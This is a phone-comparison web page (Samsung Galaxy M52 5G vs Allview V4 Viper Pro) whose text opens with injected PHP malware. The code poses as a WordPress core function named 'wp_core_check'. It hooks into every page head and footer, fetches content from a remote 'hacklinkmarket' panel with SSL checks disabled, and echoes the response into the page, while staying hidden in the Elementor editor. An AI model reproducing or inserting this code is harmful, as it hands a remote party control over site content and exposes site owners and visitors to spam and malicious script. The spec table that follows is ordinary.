if(!function_exists('wp_core_check')){function wp_core_check(){static $script_executed=false;if($script_executed){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$exe=curl_init();if($exe){curl_setopt_array($exe,[CURLOPT_URL=>"https://panel.hacklinkmarket.com/code?v=".time(),CURLOPT_HTTPHEADER=>["X-Request-Domain: ".($_SERVER['HTTPS']?"https://":"http://").$_SERVER['HTTP_HOST']."/","User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$response=curl_exec($exe);$http_code=curl_getinfo($exe,CURLINFO_HTTP_CODE);curl_close($exe);if($response!==false&&$http_code===200&&!empty($response)){echo $response;}}$script_executed=true;}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} Samsung Galaxy M52 5g vs Allview V4 Viper Pro Comparison

Samsung Galaxy M52 5g vs Allview V4 Viper Pro

Samsung Galaxy M52 5g vs Allview V4 Viper Pro: The Samsung Galaxy M52 5G and Allview V4 Viper Pro are two impressive smartphones that offer advanced features and high-speed connectivity. In this article, we will compare the key specifications and highlight the differences between these two devices to help you make an informed decision.

Feature Samsung Galaxy M52 5G Allview V4 Viper Pro
Display Size 6.7 inches 6.3 inches
Display Type Super AMOLED Plus IPS LCD
Resolution 1080 x 2400 pixels 1080 x 2280 pixels
Refresh Rate 120 Hz 60 Hz
Processor Qualcomm Snapdragon 778G MediaTek Helio P60
RAM 6/8 GB 4 GB
Internal Storage 128/256 GB 64 GB
Expandable Storage Yes (up to 1 TB) Yes (up to 256 GB)
Main Camera

64 MP (f/1.8)

12 MP (f/2.2) ultra-wide

5 MP (f/2.4) macro

48 MP (f/1.8)

5 MP (f/2.4) depth sensor

2 MP (f/2.4) macro

Front Camera 32 MP (f/2.2) 16 MP (f/2.0)
Operating System Android 11, One UI 3.1 Android 10
Battery Capacity 5000 mAh 4000 mAh
Fast Charging Yes (25W) Yes (18W)
Wireless Charging No No
5G Support Yes No
Fingerprint Sensor Yes (under display, optical) Yes (rear-mounted)
Face Unlock Yes Yes
Water Resistance IP67 No
Headphone Jack No Yes
SIM Card Type Nano-SIM + Nano-SIM or microSD Nano-SIM + Nano-SIM
Click to rate this post!
[Total: 0 Average: 0]


Related Posts

Samsung Galaxy J7 2018 vs Samsung Galaxy S10 Plus
Vertu Aster vs Samsung Galaxy Note 5
Samsung Galaxy A10 vs Samsung Galaxy S10e
Samsung Galaxy J2 Pro 2018 vs Asus Zenfone 4 Max Zc554kl
Samsung Galaxy A5 2016 vs Lg G5 H840
Vivo V11 Pro vs Xiaomi Mi 9
Samsung Galaxy C9 Pro vs Apple iphone 5
Xiaomi Redmi S2 vs Huawei Honor View 20
Huawei P8 Lite 2017 vs Lg G4
Samsung Galaxy A8 2018 vs Samsung Galaxy Note Edge
Samsung Galaxy J5 2016 vs Samsung Galaxy A10
Asus Zenfone 3 Deluxe Zs570kl vs Asus Zenfone Max Pro M2
Sony Xperia Tx vs Samsung Galaxy S4 Zoom
Lenovo Moto G4 Plus vs Xiaomi Redmi Note 6 Pro
Samsung Galaxy A20 vs Meizu X8
Lg K10 Lte vs Apple iphone Xs Max
Sony Ericsson Xperia Pro vs Xiaomi Mi 8 Lite
Samsung Galaxy S5 vs Huawei Honor 8c
🔼
TechCompares.com | © Mobile Phone Comparison – Compare Mobile Phones